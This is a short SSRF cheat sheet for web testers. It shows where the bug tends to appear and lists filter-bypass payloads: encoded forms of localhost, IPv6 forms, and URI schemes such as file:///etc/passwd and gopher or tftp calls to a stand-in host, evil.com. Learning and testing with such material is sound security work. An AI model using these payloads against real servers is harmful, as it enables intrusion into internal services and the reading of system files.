Server Side Request Forgery (SSRF)

Introduction

Server Side Request Forgery is a web application vulnerability that allows attackers to make outgoing requests originating from the vulnerable server

Where to find

Usually it can be found in the request that contain request to another url, for example like this

POST /api/check/products HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Origin: https://example.com
Referer: https://example.com

urlApi=http://192.168.1.1%2fapi%2f&id=1

GET /image?url=http://192.168.1.1/
Host: example.com

How to exploit

Basic payload

http://127.0.0.1:1337
http://localhost:1337

Hex encoding

http://127.0.0.1 -> http://0x7f.0x0.0x0.0x1

Octal encoding
```
http://127.0.0.1 -> http://0177.0.0.01
```
Dword encoding
```
http://127.0.0.1 -> http://2130706433
```

Mixed encoding

http://127.0.0.1 -> http://0177.0.0.0x1

Using URL encoding

http://localhost -> http://%6c%6f%63%61%6c%68%6f%73%74

Using IPv6
```
http://0000::1:1337/
http://[::]:1337/
```

Using bubble text

http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ

Use this https://capitalizemytitle.com/bubble-text-generator/

How to exploit (URI Scheme)

File scheme
```
file:///etc/passwd
```
Dict scheme
```
dict://127.0.0.1:1337/
```
FTP scheme
```
ftp://127.0.0.1/
```
TFTP scheme
```
tftp://evil.com:1337/test
```
SFTP scheme
```
sftp://evil.com:1337/test
```
LDAP scheme
```
ldap://127.0.0.1:1337/
```
Gopher scheme
```
gopher://evil.com/_Test%0ASSRF
```

References

Vickie Li